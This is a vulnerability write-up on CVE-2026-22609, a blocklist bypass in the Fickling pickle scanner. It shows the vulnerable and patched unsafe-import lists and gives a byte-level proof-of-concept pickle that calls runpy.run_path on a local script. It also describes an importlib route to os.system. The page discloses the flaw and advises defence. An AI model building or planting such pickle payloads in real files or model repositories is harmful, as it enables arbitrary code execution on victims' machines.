CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22609
8.90.04%

Pickle Rick-Rolled: Bypassing Fickling's Static Analysis

Alon Barad
Alon Barad
Software Engineer

Feb 23, 2026·6 min read·8 visits

PoC Available

Executive Summary (TL;DR)

Fickling < 0.1.7 failed to block dangerous modules like `runpy`, `ctypes`, and `importlib`. Attackers could craft malicious pickle files using these modules to execute arbitrary code. Because Fickling flagged these files as 'LIKELY_SAFE', users were lulled into a false sense of security and likely deserialized them, leading to full system compromise.

A critical bypass vulnerability in Fickling, a specialized Python pickle analyzer, allowed malicious pickles to evade detection and achieve Remote Code Execution (RCE). The flaw stemmed from a woefully incomplete blocklist of dangerous Python standard library modules, essentially giving attackers a 'VIP Pass' to execute code while the scanner reported the file as safe.

The Hook: The Watchman Was Sleeping

In the chaotic world of Python security, the pickle module is essentially a loaded gun that we keep handing to toddlers. We all know the rule: "Never unpickle untrusted data." But in the era of Machine Learning models (which are often just giant zip files of pickles), that rule is impossible to follow. Enter Fickling, Trail of Bits' decompiler and static analyzer. It was supposed to be the shield, the tool that inspects the bytecode, builds an Abstract Syntax Tree (AST), and tells you if that huggingface model you just downloaded is going to steal your AWS keys.

Here is the irony: Fickling is designed to detect RCE gadgets. CVE-2026-22609 isn't just a bug; it's a catastrophic failure of that primary promise. It turns out that Fickling's definition of "dangerous" was significantly narrower than Python's definition of "capable." While Fickling was busy guarding the front door against os.system and subprocess.Popen, it left the side door, the back window, and the doggy door wide open.

An attacker could craft a pickle that uses standard, built-in Python libraries—libraries that ship with every installation—to execute arbitrary code. Fickling would scan this payload, see nothing wrong, and slap a LIKELY_SAFE sticker on a digital pipe bomb. This is worse than having no scanner at all, because it replaces paranoia with unearned confidence.

The Flaw: A Game of Whac-A-Mole

The root cause of this vulnerability is a classic Incomplete Blocklist (CWE-184). Blocklists are notoriously difficult to maintain in dynamic languages like Python, where there are a dozen ways to skin a cat (or spawn a shell). Fickling's unsafe_imports method functioned as a bouncer, checking the imports declared in the pickle bytecode against a hardcoded list of UNSAFE_IMPORTS.

Prior to version 0.1.7, this list was missing some heavy hitters. It correctly identified os, sys, and subprocess as bad news. However, it completely ignored:

  • ctypes: The bridge to C libraries. Why bother with os.system when you can just load libc and call system() directly from memory?
  • runpy: A module literally designed to execute Python scripts. It's in the name.
  • importlib: The metaprogramming wizard that lets you import modules dynamically by string name, bypassing static string matching entirely.
  • multiprocessing: Because nothing says "safe" like spawning new processes with arbitrary arguments.

Furthermore, the matching logic itself was flawed. It checked node.module.split(".")[0]. This means it only looked at the root package. If an attacker found a way to alias a dangerous module or import it in a way that confused the AST generation (like the optimization that skipped builtins), the check would fail silently. It was a perfect storm of missing data and shallow logic.

The Code: The Smoking Gun

Let's look at the logic that allowed this to happen. The vulnerability lived in fickling/fickle.py. The code attempted to iterate over the AST and flag imports.

The Vulnerable Logic (Conceptual):

# The list was too short!
UNSAFE_IMPORTS = {"os", "sys", "subprocess", "shutil", ...}
 
def unsafe_imports(self):
    for node in self.ast:
        # The check was too shallow!
        if node.module and node.module.split(".")[0] in UNSAFE_IMPORTS:
             yield node

If you imported runpy, the code split the string, got runpy, checked the set, saw it wasn't there, and moved on.

The Fix (Version 0.1.7):

The patch involved two major changes: expanding the list and fixing the path matching logic to be recursive.

# 1. Expanded Blocklist
UNSAFE_IMPORTS = {
    "os", "sys", "subprocess", "shutil",
    "ctypes", "importlib", "runpy", "code", # Added the heavy hitters
    "multiprocessing", "cProfile", "pydoc"
}
 
# 2. Path-Aware Matching
if node.module and any(comp in UNSAFE_IMPORTS for comp in node.module.split(".")):
    yield node

The new check iterates through every component of the dotted path. This prevents bypasses where a dangerous module might be hiding inside a seemingly benign namespace, or if the attacker tries to use sub-modules to evade detection.

The Exploit: Weaponizing Standard Libraries

Exploiting this required zero external dependencies. The attacker just needed to construct a pickle stream that uses GLOBAL or STACK_GLOBAL opcodes to call a function from one of the omitted modules.

Here is a reconstruction of a runpy attack vector. This pickle tells the Python interpreter: "Import runpy, find the run_path function, and execute the script at /tmp/payload.py."

import pickle
import pickletools
 
# The goal: runpy.run_path('/tmp/payload.py')
 
# We manually construct the opcodes because standard pickle.dump 
# might not give us the exact structure we want for the bypass.
payload = (
    b'\x80\x04'             # PROTO 4
    b'\x95\x18\x00\x00\x00' # FRAME size
    b'\x8c\x05runpy'        # SHORT_BINUNICODE 'runpy'
    b'\x94'                 # MEMOIZE
    b'\x8c\x08run_path'     # SHORT_BINUNICODE 'run_path'
    b'\x94'                 # MEMOIZE
    b'\x93'                 # STACK_GLOBAL (imports runpy.run_path)
    b'\x94'                 # MEMOIZE
    b'\x8c\x0f/tmp/payload.py' # The argument
    b'\x94'                 # MEMOIZE
    b'\x85'                 # TUPLE1
    b'\x94'                 # MEMOIZE
    b'R'                    # REDUCE (calls the function)
    b'.'                    # STOP
)
 
# In Fickling < 0.1.7:
# result = fickling.analyze(payload)
# print(result.severity) -> LIKELY_SAFE

Another elegant bypass involved importlib. By chaining importlib.import_module, an attacker could dynamically load os and call system without ever writing the string "os" into the GLOBAL opcode where Fickling was looking for it. They could obfuscate the string "os" or construct it at runtime, rendering static analysis useless.

The Impact: Trust is a Liability

The impact here is technically High (CVSS 8.9), but contextually Critical. Tools like Fickling are often integrated into CI/CD pipelines or Model Registry ingestion services to automatically sanitize uploads.

If an organization relied on Fickling to gatekeep their ML models, they were effectively defenseless against a sophisticated attacker. A malicious actor could inject a supply-chain attack into a popular model repository. When the victim downloads the model and scans it, Fickling gives the thumbs up. The victim loads the model, and the ctypes payload fires, dumping memory or establishing a reverse shell.

Since the vulnerability uses standard library modules, the exploit is fully cross-platform (Linux, Windows, macOS) and requires no special environment setup on the victim's machine. If Python is installed, the vulnerability exists.

The Mitigation: Patch or Perish

The immediate fix is simple: Upgrade to fickling >= 0.1.7. The patch closes the specific holes regarding runpy, ctypes, and friends.

However, the deeper lesson is about the limits of static analysis on dynamic serialization formats. Detecting malice in a Turing-complete serialization protocol (yes, pickle is a stack-based VM) is undecidable.

Defensive Strategy:

  1. Treat Fickling as a linter, not a firewall. It catches low-hanging fruit and script-kiddie exploits. It does not guarantee safety.
  2. Never unpickle untrusted data. This cannot be stressed enough. Use JSON, SafeTensors, or ONNX for data exchange.
  3. Sandboxing. If you must unpickle untrusted data, do it inside a disposable, network-isolated microVM or container. Assume RCE will happen and limit the blast radius.

Official Patches

Trail of BitsOfficial Release Notes for v0.1.7

Fix Analysis (2)

Technical Appendix

CVSS Score
8.9/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Python environments using Fickling < 0.1.7CI/CD pipelines scanning pickle filesML Model Registries using Fickling for validation

Affected Versions Detail

Product
Affected Versions
Fixed Version
fickling
trailofbits
< 0.1.70.1.7
AttributeDetail
CWE IDCWE-184 (Incomplete List of Disallowed Inputs)
CVSS v4.08.9 (High)
Attack VectorLocal / Network (File Transfer)
ImpactArbitrary Code Execution (ACE)
EPSS Score0.044% (Low Probability)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1204.002User Execution: Malicious File
Execution
T1059.006Command and Scripting Interpreter: Python
Execution
T1574Hijack Execution Flow
Persistence
CWE-184
Incomplete List of Disallowed Inputs

The software does not check input against a complete list of disallowed inputs, effectively allowing dangerous inputs to bypass security mechanisms.

Known Exploits & Detection

GitHubUnit tests demonstrating bypasses using runpy and importlib

Vulnerability Timeline

Patch released in Fickling v0.1.7
2026-01-09
CVE-2026-22609 Published
2026-01-10

References & Sources

  • [1]GHSA-q5qq-mvfm-j35x Advisory
  • [2]NVD CVE Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.